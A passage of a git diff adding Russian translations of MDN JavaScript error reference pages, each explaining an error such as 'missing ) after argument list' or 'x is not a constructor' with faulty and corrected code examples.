+//вычисляемые свойства требуют квадратных скобок
+obj.foo["bar" + i]; // "baz2"
+</pre>
+
+<h3 id="Доступ_к_свойствам_против_конкатенации">Доступ к свойствам против конкатенации</h3>
+
+<p>Если вы пришли из другого языка программирования (например, {{Glossary("PHP")}}), также легко перепутать оператор точки (.) и оператор конкатенации (+).</p>
+
+<pre class="brush: js example-bad">console.log("Hello" . "world");
+
+// SyntaxError: missing name after . operator</pre>
+
+<p>Вместо этого необходимо использовать знак плюс для объединения:</p>
+
+<pre class="brush: js example-good">console.log("Hello" + "World");</pre>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Property_Accessors">Property accessors</a>(доступ к свойствам)</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/errors/missing_parenthesis_after_argument_list/index.html b/files/ru/web/javascript/reference/errors/missing_parenthesis_after_argument_list/index.html
new file mode 100644
index 0000000000..1b84367f61
--- /dev/null
+++ b/files/ru/web/javascript/reference/errors/missing_parenthesis_after_argument_list/index.html
@@ -0,0 +1,38 @@
+---
+title: 'Синтаксическая ошибка: пропущенный символ ")" после списка аргументов'
+slug: Web/JavaScript/Reference/Errors/Missing_parenthesis_after_argument_list
+translation_of: Web/JavaScript/Reference/Errors/Missing_parenthesis_after_argument_list
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Сообщение">Сообщение</h2>
+
+<pre class="syntaxbox">Синтаксическая ошибка: пропущенный символ ")" после списка аргументов
+</pre>
+
+<h2 id="Тип_ошибки">Тип ошибки</h2>
+
+<p>{{jsxref("SyntaxError")}}.</p>
+
+<h2 id="Причина_возникновения_ошибки">Причина возникновения ошибки</h2>
+
+<p>Ошибка в вызове функции. Например, опечатка, пропущенный оператор, или некорректно обрамлённая кавычками строка.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Из-за отсутствия оператора конкатенации "+", JavaScript ожидает аргумент функции <code>log</code> просто <code>"PI: "</code>. В этом случае, он должен быть заключен в закрывающие скобки.</p>
+
+<pre class="brush: js example-bad">console.log('PI: ' Math.PI);
+// SyntaxError: missing ) after argument list
+</pre>
+
+<p>Можно скорректировать вызов функции <code>log</code> добавлением оператора "<code>+</code>":</p>
+
+<pre class="brush: js example-good">console.log('PI: ' + Math.PI);
+// "PI: 3.141592653589793"</pre>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Guide/Functions">Функции</a></li>
+</ul>
diff --git a/files/ru/web/javascript/reference/errors/missing_parenthesis_after_condition/index.html b/files/ru/web/javascript/reference/errors/missing_parenthesis_after_condition/index.html
new file mode 100644
index 0000000000..2bd9f1cd27
--- /dev/null
+++ b/files/ru/web/javascript/reference/errors/missing_parenthesis_after_condition/index.html
@@ -0,0 +1,70 @@
+---
+title: 'SyntaxError: missing ) after condition'
+slug: Web/JavaScript/Reference/Errors/Missing_parenthesis_after_condition
+tags:
+  - Error
+  - Errors
+  - JavaScript
+  - SyntaxError
+translation_of: Web/JavaScript/Reference/Errors/Missing_parenthesis_after_condition
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Сообщение">Сообщение</h2>
+
+<pre class="syntaxbox">SyntaxError: missing ) after condition
+</pre>
+
+<h2 id="Тип_ошибки">Тип ошибки</h2>
+
+<p>{{jsxref("SyntaxError")}}</p>
+
+<h2 id="Что_пошло_не_так">Что пошло не так?</h2>
+
+<p>Произошла ошибка в написании условия if. В любом языке программирования код принимает решение выполнять действия в зависимости от входных параметров. Оператор if выполняет действия, если условие истинно. В JavaScript это условие должно заключаться в скобки после ключевого слова if, например:</p>
+
+<pre class="brush: js">if (condition) {
+  // сделать что-то если условие истинно
+}</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Это может быть просто недосмотр, внимательно проверьте все скобки в коде.</p>
+
+<pre class="brush: js example-bad">if (3 &gt; Math.PI {
+  console.log("Что?");
+}
+
+// SyntaxError: missing ) after condition
+</pre>
+
+<p>Чтобы исправить ошибку вы должны поставить закрывающую скобку после условия.</p>
+
+<pre class="brush: js example-good">if (3 &gt; Math.PI) {
+  console.log("Что?");
+}</pre>
+
+<p>Если вы пришли из других языков программирования, то можете случайно использовать ключевые слова, которые в JavaScript обозначают что-то другое или вообще не имеют смысла.</p>
+
+<pre class="brush: js example-bad">if (done is true) {
+ console.log("мы сделали!");
+}
+
+// SyntaxError: missing ) after condition
+</pre>
+
+<p>Вместо этого используйте нужный <a href="/ru/docs/Web/JavaScript/Reference/Operators/Операторы_сравнения">оператор сравнения</a>. Для примера:</p>
+
+<pre class="brush: js example-good">if (done === true) {
+ console.log("мы сделали!");
+}</pre>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><code><a href="/ru/docs/Web/JavaScript/Reference/Statements/if...else">if...else</a></code></li>
+ <li><a href="/ru/docs/Web/JavaScript/Reference/Operators/Операторы_сравнения">Операторы сравнения</a></li>
+ <li>
+  <p><a href="/ru/docs/Learn/JavaScript/Building_blocks/conditionals">Making decisions in your code — conditionals</a></p>
+ </li>
+</ul>
diff --git a/files/ru/web/javascript/reference/errors/missing_semicolon_before_statement/index.html b/files/ru/web/javascript/reference/errors/missing_semicolon_before_statement/index.html
new file mode 100644
index 0000000000..ea2bf7e8ac
--- /dev/null
+++ b/files/ru/web/javascript/reference/errors/missing_semicolon_before_statement/index.html
@@ -0,0 +1,82 @@
+---
+title: 'SyntaxError: missing ; before statement'
+slug: Web/JavaScript/Reference/Errors/Missing_semicolon_before_statement
+tags:
+  - JavaScript
+  - SyntaxError
+  - ru
+  - Ошибки
+translation_of: Web/JavaScript/Reference/Errors/Missing_semicolon_before_statement
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Сообщение">Сообщение</h2>
+
+<pre class="syntaxbox">SyntaxError: Expected ';' (Edge)
+SyntaxError: missing ; before statement (Firefox)</pre>
+
+<h2 id="Тип_ошибки">Тип ошибки</h2>
+
+<p>{{jsxref("SyntaxError")}}.</p>
+
+<h2 id="Что_пошло_не_так">Что пошло не так?</h2>
+
+<p>Отсутствует точка с запятой (<code>;</code>). <a href="/ru/docs/Web/JavaScript/Reference/Statements">Инструкции JavaScript</a> должны заканчиваться точкой с запятой. В некоторых случаях имеет место <a href="/ru/docs/Web/JavaScript/Reference/Lexical_grammar#Автоматическая_вставка_точки_с_запятой">автоматическая вставка точки с запятой (ASI)</a>, но в данном случае необходимо её поставить, чтобы JavaScript мог правильно обработать исходный код.</p>
+
+<p><span id="result_box" lang="ru"><span>Часто эта ошибка является следствием другой ошибки, например, некорректного экранирования строк или неправильного использования <code>var</code>.</span> Кроме того, где-то может быть с<span>лишком много скобок.</span> <span>Тщательно проверьте синтаксис при возникновении этой ошибки.</span></span></p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Неэкранированные_строки">Неэкранированные строки</h3>
+
+<p>Эта ошибка может легко возникнуть, если не экранировать строку правильным образом, из-за чего JavaScript будет рассматривать это место как конец строки. Например:</p>
+
+<pre class="brush: js example-bad">var foo = 'Tom's bar';
+// SyntaxError: missing ; before statement</pre>
+
+<p>Можно использовать двойные кавычки или экранировать апостроф:</p>
+
+<pre class="brush: js example-good">var foo = "Tom's bar";
+var foo = 'Tom\'s bar';
+</pre>
+
+<h3 id="Объявление_свойств_через_var">Объявление свойств через var</h3>
+
+<p><strong>Нельзя</strong> объявить свойство объекта или массива с помощью <code>var</code>.</p>
+
+<pre class="brush: js example-bad">var obj = {};
+var obj.foo = 'привет'; // SyntaxError missing ; before statement
+
+var array = [];
+var array[0] = 'всем'; // SyntaxError missing ; before statement
+</pre>
+
+<p>Ключевое слово <code>var</code> необходимо опустить:</p>
+
+<pre class="brush: js example-good">var obj = {};
+obj.foo = 'привет';
+
+var array = [];
+array[0] = 'всем';
+</pre>
+
+<h3 id="Неправильные_ключевые_слова">Неправильные ключевые слова</h3>
+
+<p>При переходе с другого языка программирования частой проблемой является использование ключевых слов, которые в JavaScript имеют другое значение или ничего не означают.</p>
+
+<pre class="brush: js example-bad">def print(info){
+  console.log(info);
+}; // SyntaxError missing ; before statement</pre>
+
+<p>Вместо <code>def</code> используйте <code>function</code>:</p>
+
+<pre class="brush: js example-good">function print(info){
+  console.log(info);
+};</pre>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/ru/docs/Web/JavaScript/Reference/Lexical_grammar#Автоматическая_вставка_точки_с_запятой">Автоматическая вставка точки с запятой (ASI)</a></li>
+ <li><a href="/ru/docs/Web/JavaScript/Reference/Statements">Инструкции JavaScript</a></li>
+</ul>
diff --git a/files/ru/web/javascript/reference/errors/more_arguments_needed/index.html b/files/ru/web/javascript/reference/errors/more_arguments_needed/index.html
new file mode 100644
index 0000000000..2e7777939e
--- /dev/null
+++ b/files/ru/web/javascript/reference/errors/more_arguments_needed/index.html
@@ -0,0 +1,48 @@
+---
+title: 'TypeError: More arguments needed'
+slug: Web/JavaScript/Reference/Errors/More_arguments_needed
+tags:
+  - Errors
+  - JavaScript
+  - TypeError
+translation_of: Web/JavaScript/Reference/Errors/More_arguments_needed
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Сообщение">Сообщение</h2>
+
+<pre class="syntaxbox">TypeError: Object.create requires more than 0 arguments
+TypeError: Object.setPrototypeOf requires more than 1 argument
+TypeError: Object.defineProperties requires more than 0 arguments
+</pre>
+
+<h2 id="Тип_ошибки">Тип ошибки</h2>
+
+<p>{{jsxref("TypeError")}}.</p>
+
+<h2 id="Что_пошло_не_так">Что пошло не так?</h2>
+
+<p>Ошибка в вызове функции. Необходимо передать больше аргументов.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Метод {{jsxref("Object.create()")}} требует хотя бы один аргумент, а {{jsxref("Object.setPrototypeOf()")}} минимум двух:</p>
+
+<pre class="brush: js example-bad">var obj = Object.create();
+// TypeError: Object.create requires more than 0 arguments
+
+var obj = Object.setPrototypeOf({});
+// TypeError: Object.setPrototypeOf requires more than 1 argument
+</pre>
+
+<p>Вы можете исправить это, установив {{jsxref("null")}} в качестве прототипа, например:</p>
+
+<pre class="brush: js example-good">var obj = Object.create(null);
+
+var obj = Object.setPrototypeOf({}, null);</pre>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/ru/docs/Web/JavaScript/Guide/Functions">Функции</a></li>
+</ul>
diff --git a/files/ru/web/javascript/reference/errors/negative_repetition_count/index.html b/files/ru/web/javascript/reference/errors/negative_repetition_count/index.html
new file mode 100644
index 0000000000..ff60911f45
--- /dev/null
+++ b/files/ru/web/javascript/reference/errors/negative_repetition_count/index.html
@@ -0,0 +1,40 @@
+---
+title: 'RangeError: repeat count must be non-negative'
+slug: Web/JavaScript/Reference/Errors/Negative_repetition_count
+translation_of: Web/JavaScript/Reference/Errors/Negative_repetition_count
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Сообщение">Сообщение</h2>
+
+<pre class="syntaxbox">RangeError: repeat count must be non-negative (Firefox)
+RangeError: Invalid count value (Chrome)
+</pre>
+
+<h2 id="Тип_ошибки">Тип ошибки</h2>
+
+<p>{{jsxref("RangeError")}}</p>
+
+<h2 id="Что_пошло_не_так">Что пошло не так?</h2>
+
+<p>Был использован метод {{jsxref("String.prototype.repeat()")}}, с параметром <code>count</code>, указывающим количество повторений строки. Параметр может принимать значения между 0 и положительной {{jsxref("Infinity")}}, и не может быть отрицательным числом. Диапазон допустимых значений может быть описан следующим образом: [0, + ∞).</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Неверно">Неверно</h3>
+
+<pre class="brush: js example-bad">'abc'.repeat(-1); // RangeError </pre>
+
+<h3 id="Верно">Верно</h3>
+
+<pre class="brush: js example-good">'abc'.repeat(0);    // ''
+'abc'.repeat(1);    // 'abc'
+'abc'.repeat(2);    // 'abcabc'
+'abc'.repeat(3.5);  // 'abcabcabc' (count will be converted to integer)
+</pre>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.repeat()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/errors/no_non-null_object/index.html b/files/ru/web/javascript/reference/errors/no_non-null_object/index.html
new file mode 100644
index 0000000000..c00c5ff571
--- /dev/null
+++ b/files/ru/web/javascript/reference/errors/no_non-null_object/index.html
@@ -0,0 +1,65 @@
+---
+title: >-
+  TypeError: "x" is not a non-null object(Тип ошибки: "x" не является ненулевым
+  объектом)
+slug: Web/JavaScript/Reference/Errors/No_non-null_object
+translation_of: Web/JavaScript/Reference/Errors/No_non-null_object
+---
+<div>{{JSSidebar("Errors")}}</div>
+
+<h2 id="Сообщения">Сообщения</h2>
+
+<pre class="syntaxbox">TypeError: недопустимый дескриптор свойства {x} (Edge)
+TypeError: "x" не является ненулевым объектом (Firefox)
+TypeError: описание свойства должно быть объектом: "x" (Chrome)
+TypeError: недопустимое значение, используемое в слабом наборе (Chrome)
+
+</pre>
+
+<h2 id="Тип_ошибки">Тип ошибки</h2>
+
+<p>{{jsxref("TypeError")}}</p>
+
+<h2 id="Что_пошло_не_так">Что пошло не так?</h2>
+
+<p>Объект где-то ожидался и не был предоставлен. {{jsxref("null")}} не является объектом и не будет работать. Вы должны обеспечить надлежащий объект в данной ситуации.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Ожидается_дескриптор_свойства">Ожидается дескриптор свойства</h3>
+
+<p>Когда такие методы, как {{jsxref("Object.create()")}} или {{jsxref("object.defineProperty()")}} и {{jsxref("object.defineProperties()")}} используются, дополнительный параметр дескриптора ожидает объект дескриптора свойства. Если не указать объект (например, просто число), возникнет ошибка:</p>
+
+<pre class="brush: js example-bad">Object.defineProperty({}, 'key', 1);
+// TypeError: 1 is not a non-null object
+
+Object.defineProperty({}, 'key', null);
+// TypeError: null is not a non-null object
+</pre>
+
+<p>Допустимый объект дескриптора свойства может выглядеть следующим образом:</p>
+
+<pre class="brush: js example-good">Object.defineProperty({}, 'key', { value: 'foo', writable: false });
+</pre>
+
+<h3 id="СлабаяКарта_и_СлабыйСет_объектов_требуют_ключей_объектов"><code>СлабаяКарта</code> и <code>СлабыйСет</code> объектов требуют ключей объектов</h3>
+
+<p>{{jsxref("WeakMap")}} and {{jsxref("WeakSet")}} объекты хранят ключи объектов. Вы не можете использовать другие типы ключей.</p>
+
+<pre class="brush: js example-bad">var ws = new WeakSet();
+ws.add('foo');
+// TypeError: "foo" is not a non-null object</pre>
+
+<p>Создание обьекта вместо:</p>
+
+<pre class="brush: js example-good">ws.add({foo: 'bar'});
+ws.add(window);
+</pre>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Object.create()")}}</li>
+ <li>{{jsxref("Object.defineProperty()")}}, {{jsxref("Object.defineProperties()")}}</li>
+ <li>{{jsxref("WeakMap")}}, {{jsxref("WeakSet")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/errors/no_properties/index.html b/files/ru/web/javascript/reference/errors/no_properties/index.html
new file mode 100644
index 0000000000..7db5d305e9
--- /dev/null
+++ b/files/ru/web/javascript/reference/errors/no_properties/index.html
@@ -0,0 +1,41 @@
+---
+title: 'TypeError: "x" has no properties'
+slug: Web/JavaScript/Reference/Errors/No_properties
+tags:
+  - JavaScript
+  - TypeError
+  - Ошибки
+translation_of: Web/JavaScript/Reference/Errors/No_properties
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Сообщение">Сообщение</h2>
+
+<pre class="syntaxbox">TypeError: Unable to get property {x} of undefined or null reference (Edge)
+TypeError: null has no properties (Firefox)
+TypeError: undefined has no properties (Firefox)
+</pre>
+
+<h2 id="Тип_ошибки">Тип ошибки</h2>
+
+<p>{{jsxref("TypeError")}}.</p>
+
+<h2 id="Что_пошло_не_так">Что пошло не так?</h2>
+
+<p>У {{jsxref("null")}} и {{jsxref("undefined")}} нет свойств, к которым можно было бы обратиться.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush: js example-bad">null.foo;
+// TypeError: null has no properties
+
+undefined.bar;
+// TypeError: undefined has no properties
+</pre>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("null")}}</li>
+ <li>{{jsxref("undefined")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/errors/no_variable_name/index.html b/files/ru/web/javascript/reference/errors/no_variable_name/index.html
new file mode 100644
index 0000000000..9ac5f9cb6e
--- /dev/null
+++ b/files/ru/web/javascript/reference/errors/no_variable_name/index.html
@@ -0,0 +1,83 @@
+---
+title: 'SyntaxError: missing variable name'
+slug: Web/JavaScript/Reference/Errors/No_variable_name
+tags:
+  - JavaScript
+  - SyntaxError
+  - Ошибки
+translation_of: Web/JavaScript/Reference/Errors/No_variable_name
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Сообщение">Сообщение</h2>
+
+<pre class="syntaxbox">SyntaxError: missing variable name (Firefox)
+SyntaxError: Unexpected token = (Chrome)</pre>
+
+<h2 id="Тип_ошибки">Тип ошибки</h2>
+
+<p>{{jsxref("SyntaxError")}}</p>
+
+<h2 id="Что_пошло_не_так">Что пошло не так?</h2>
+
+<p>У переменной отсутствует имя. Скорее всего, дело в синтаксической ошибке в вашем коде. Может, где-то неправильно стоит запятая, или у вас возникли трудности с именованием. Прекрасно вас понимаем! Придумывать названия – очень непросто.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Отсутствует_имя_переменной">Отсутствует имя переменной</h3>
+
+<pre class="brush: js example-bad">var = "foo";
+</pre>
+
+<p>Придумывать хорошие имена переменным очень тяжело, все мы с таким сталкивались.</p>
+
+<pre class="brush: js example-good">var ohGodWhy = "foo";</pre>
+
+<h3 id="Зарезервированные_ключевые_слова_не_могут_использоваться_как_имена_переменных">Зарезервированные ключевые слова не могут использоваться как имена переменных</h3>
+
+<p>Есть несколько имен, которые являются <a href="/ru/docs/Web/JavaScript/Reference/Lexical_grammar#Ключевые_слова">зарезервированными ключевыми словами</a>. Их нельзя использовать. Увы :(</p>
+
+<pre class="brush: js example-bad">var debugger = "whoop";
+// SyntaxError: missing variable name
+</pre>
+
+<h3 id="Объявление_нескольких_переменных">Объявление нескольких переменных</h3>
+
+<p>При объявлении нескольких переменных обращайте особое внимание на запятые. Нет ли лишних запятых? Не поставили ли вы случайно запятые вместо точек с запятыми?</p>
+
+<pre class="brush: js example-bad">var x, y = "foo",
+var x, = "foo"
+
+var first = document.getElementById('раз'),
+var second = document.getElementById('два'),
+
+// SyntaxError: missing variable name
+</pre>
+
+<p>Исправленный вариант:</p>
+
+<pre class="brush: js example-good">var x, y = "foo";
+var x = "foo";
+
+var first = document.getElementById('раз');
+var second = document.getElementById('два');</pre>
+
+<h3 id="Массивы">Массивы</h3>
+
+<p>Литералам {{jsxref("Array")}} в JavaScript необходимы квадратные скобки вокруг значений. Такое не сработает:</p>
+
+<pre class="brush: js example-bad">var arr = 1,2,3,4,5;
+// SyntaxError: missing variable name
+</pre>
+
+<p>А вот так будет правильно:</p>
+
+<pre class="brush: js example-good">var arr = [1,2,3,4,5];</pre>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="http://wiki.c2.com/?GoodVariableNames">Хорошие имена переменных (на англ.)</a></li>
+ <li><code><a href="/ru/docs/Web/JavaScript/Reference/Statements/var">var</a></code></li>
+ <li><a href="/ru/docs/Web/JavaScript/Guide/Grammar_and_types#Объявления">Объявления переменных в Руководстве по JavaScript</a></li>
+</ul>
diff --git a/files/ru/web/javascript/reference/errors/non_configurable_array_element/index.html b/files/ru/web/javascript/reference/errors/non_configurable_array_element/index.html
new file mode 100644
index 0000000000..b298844d17
--- /dev/null
+++ b/files/ru/web/javascript/reference/errors/non_configurable_array_element/index.html
@@ -0,0 +1,84 @@
+---
+title: >-
+  TypeError: can't delete non-configurable array element(Тип ошибки:не удается
+  удалить настраиваемый элемент массива)
+slug: Web/JavaScript/Reference/Errors/Non_configurable_array_element
+translation_of: Web/JavaScript/Reference/Errors/Non_configurable_array_element
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Сообщения">Сообщения</h2>
+
+<pre class="syntaxbox">TypeError: не удается удалить не настраиваемый элемент массива (Firefox)
+TypeError: не удается удалить свойство '2' из [массива объектов] (Chrome)
+</pre>
+
+<h2 id="Тип_ошибки">Тип ошибки</h2>
+
+<p>{{jsxref("TypeError")}}</p>
+
+<h2 id="Что_пошло_не_так">Что пошло не так?</h2>
+
+<p> </p>
+
+<p>Была сделана попытка сократить длину массива, но один из элементов массива не изменяется. При укорочении массив, элементы за новую длину массива будут удалены, не в этой ситуации.</p>
+
+<p>Настраиваемый атрибут определяет, можно ли удалить свойство из объекта и можно ли изменить его атрибуты (отличные от доступных для записи).</p>
+
+<p>Обычно свойства объекта, созданного инициализатором массива, настраиваются. Однако, например, при использовании {{jsxref("Object.defineProperty()")}}, свойство не настраивается по умолчанию.</p>
+
+<p> </p>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Не_настраиваемые_свойства_созданные_Object.defineProperty">Не настраиваемые свойства, созданные <code>Object.defineProperty</code></h3>
+
+<p>The {{jsxref("Object.defineProperty()")}} создает не настраиваемые свойства по умолчанию, если они не указаны как настраиваемые.</p>
+
+<pre class="brush: js example-bad">var arr = [];
+Object.defineProperty(arr, 0, {value: 0});
+Object.defineProperty(arr, 1, {value: "1"});
+
+arr.length = 1;
+// TypeError: не удается удалить не настраиваемый элемент массива
+</pre>
+
+<p>Вам нужно будет установить элементы как конфигурируемые, если вы собираетесь сократить массив.</p>
+
+<pre class="brush: js example-good">var arr = [];
+Object.defineProperty(arr, 0, {value: 0, configurable: true});
+Object.defineProperty(arr, 1, {value: "1", configurable: true});
+
+arr.length = 1;
+</pre>
+
+<h3 id="Seal-ed_Arrays_(Герметичные_Массивы)"><code>Seal</code>-ed Arrays (Герметичные Массивы)</h3>
+
+<p>The {{jsxref("Object.seal()")}} функция помечает все существующие элементы как не настраиваемые.</p>
+
+<pre class="brush: js example-bad">var arr = [1,2,3];
+Object.seal(arr);
+
+arr.length = 1;
+// TypeError: can't delete non-configurable array element
+</pre>
+
+<p>Вам или нужно извлечь {{jsxref("Object.seal()")}} позвоните или сделайте копию. В случае копирования сокращение копии массива не изменяет длину исходного массива.</p>
+
+<pre class="brush: js example-good">var arr = [1,2,3];
+Object.seal(arr);
+
+// Скопируйте исходный массив, чтобы сократить копию
+var copy = Array.from(arr);
+copy.length = 1;
+// arr.length == 3
+</pre>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Data_structures#Properties">[[Configurable]]</a></li>
+ <li>{{jsxref("Array.length")}}</li>
+ <li>{{jsxref("Object.defineProperty()")}}</li>
+ <li>{{jsxref("Object.seal()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/errors/not_a_codepoint/index.html b/files/ru/web/javascript/reference/errors/not_a_codepoint/index.html
new file mode 100644
index 0000000000..0b72d6c50f
--- /dev/null
+++ b/files/ru/web/javascript/reference/errors/not_a_codepoint/index.html
@@ -0,0 +1,50 @@
+---
+title: 'RangeError: argument is not a valid code point'
+slug: Web/JavaScript/Reference/Errors/Not_a_codepoint
+translation_of: Web/JavaScript/Reference/Errors/Not_a_codepoint
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Сообщение">Сообщение</h2>
+
+<pre class="syntaxbox">RangeError: Invalid code point {0} (Edge)
+RangeError: {0} is not a valid code point (Firefox)
+RangeError: Invalid code point {0} (Chrome)
+</pre>
+
+<h2 id="Тип_ошибки">Тип ошибки</h2>
+
+<p>{{jsxref("RangeError")}}</p>
+
+<h2 id="Что_пошло_не_так">Что пошло не так?</h2>
+
+<p>Метод {{jsxref("String.fromCodePoint()")}} выдает ошибку, если ему было передано значение {{jsxref("NaN")}}, отрицательное целое число (-1), нецелое число (5.4) или значение, которое превышает 0x10FFFF (1114111).</p>
+
+<p><a href="https://en.wikipedia.org/wiki/Code_point">Кодовая точка (code point)</a> – это значение в кодовом пространстве Unicode, то есть диапазон целых чисел от <code>0</code> до <code>0x10FFFF</code>.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Нерабочие_случаи">Нерабочие случаи</h3>
+
+<pre class="brush: js example-bad">String.fromCodePoint('_');      // RangeError
+String.fromCodePoint(Infinity); // RangeError
+String.fromCodePoint(-1);       // RangeError
+String.fromCodePoint(3.14);     // RangeError
+String.fromCodePoint(3e-2);     // RangeError
+String.fromCodePoint(NaN);      // RangeError</pre>
+
+<h3 id="Рабочие_случаи">Рабочие случаи</h3>
+
+<pre class="brush: js example-good">String.fromCodePoint(42);       // "*"
+String.fromCodePoint(65, 90);   // "AZ"
+String.fromCodePoint(0x404);    // "\u0404"
+String.fromCodePoint(0x2F804);  // "\uD87E\uDC04"
+String.fromCodePoint(194564);   // "\uD87E\uDC04"
+String.fromCodePoint(0x1D306, 0x61, 0x1D307) // "\uD834\uDF06a\uD834\uDF07"
+</pre>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("String.fromCodePoint()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/errors/not_a_constructor/index.html b/files/ru/web/javascript/reference/errors/not_a_constructor/index.html
new file mode 100644
index 0000000000..e9c3aafb29
--- /dev/null
+++ b/files/ru/web/javascript/reference/errors/not_a_constructor/index.html
@@ -0,0 +1,96 @@
+---
+title: 'TypeError: "x" is not a constructor'
+slug: Web/JavaScript/Reference/Errors/Not_a_constructor
+tags:
+  - Errors
+  - JavaScript
+  - TypeError
+translation_of: Web/JavaScript/Reference/Errors/Not_a_constructor
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Сообщение">Сообщение</h2>
+
+<pre class="syntaxbox">TypeError: Object doesn't support this action (Edge)
+TypeError: "x" is not a constructor
+
+TypeError: Math is not a constructor
+TypeError: JSON is not a constructor
+TypeError: Symbol is not a constructor
+TypeError: Reflect is not a constructor
+TypeError: Intl is not a constructor
+TypeError: SIMD is not a constructor
+TypeError: Atomics is not a constructor
+</pre>
+
+<h2 id="Тип_ошибки">Тип ошибки</h2>
+
+<p>{{jsxref("TypeError")}}</p>
+
+<h2 id="Что_пошло_не_так">Что пошло не так?</h2>
+
+<p>Была попытка использовать объект или переменную как конструктор, однако этот объект или переменная - не конструктор. Смотрите {{Glossary("constructor")}}  или <a href="/en-US/docs/Web/JavaScript/Reference/Operators/new"><code>new</code> operator</a>, чтобы получить больше информации о том, что такое конструктор.</p>
+
+<p>Существует множество глобальных объектов, таких как {{jsxref("String")}} или {{jsxref("Array")}}, которые можно построить с использованием <code>new</code>. Однако, некоторые глобальные объекты - нельзя, т.к. их свойства и методы статичны. Следующие стандартные встроенные объекты JavaScript - не конструкторы: {{jsxref("Math")}}, {{jsxref("JSON")}}, {{jsxref("Symbol")}}, {{jsxref("Reflect")}}, {{jsxref("Intl")}}, {{jsxref("SIMD")}}, {{jsxref("Atomics")}}.</p>
+
+<p><a href="/en-US/docs/Web/JavaScript/Reference/Statements/function*">Функции-генераторы</a> также не могут быть использованы как конструкторы.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Неправильное_использование">Неправильное использование</h3>
+
+<pre class="brush: js example-bad">var Car = 1;
+new Car();
+// TypeError: Car is not a constructor
+
+new Math();
+// TypeError: Math is not a constructor
+
+new Symbol();
+// TypeError: Symbol is not a constructor
+
+function* f() {};
+var obj = new f;
+// TypeError: f is not a constructor
+</pre>
+
+<h3 id="Конструктор_car_(автомобиль)">Конструктор "car" (автомобиль)</h3>
+
+<p>Представьте, что Вы хотите создать тип объекта для автомобилей. Вы хотите, чтобы этот тип объектов назывался <code>car</code>, и Вы хотите, чтобы были свойства для производителя, модели и года выпуска. Чтобы сделать это, Вы должны написать следующую функцию:</p>
+
+<pre class="brush: js">function Car(make, model, year) {
+  this.make = make;
+  this.model = model;
+  this.year = year;
+}
+</pre>
+
+<p>Теперь Вы можете создать объект, который называется <code>mycar</code> (мой автомобиль) следующим образом:</p>
+
+<pre class="brush: js">var mycar = new Car('Лада', 'Самара', 1993);</pre>
+
+<h3 id="В_Обещаниях_(Promises)">В Обещаниях (Promises)</h3>
+
+<p>В случае, когда возвращается незамедлительно разрешенное или незамедлительно отклоненное Обещание, Вам не нужно создавать новое Обещание <em>new Promise(...)</em> и работать с ним.</p>
+
+<p>Это неправильно (<a href="/en-US/docs/Mozilla/JavaScript_code_modules/Promise.jsm/Promise#Constructor">конструктор Обещания</a> вызывается неправильно) и будет вызывать исключение <code>TypeError: this is not a constructor</code>:</p>
+
+<pre class="brush: js example-bad">return new Promise.resolve(true);
+</pre>
+
+<p>Вместо этого используйте <a href="https://en.wikipedia.org/wiki/Method_(computer_programming)#Static_methods">статические методы</a> - <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise/resolve">Promise.resolve()</a> или <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise/reject">Promise.reject()</a> :</p>
+
+<pre class="brush: js">// Это допустимо, но слишком длинно, в этом нет необходимости:
+return new Promise((resolve, reject) =&gt; { resolve(true); })
+
+// Вместо этого, возвращайте статический метод:
+return Promise.resolve(true);
+return Promise.reject(false);
+</pre>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{Glossary("constructor")}}</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/new"><code>new</code> operator</a></li>
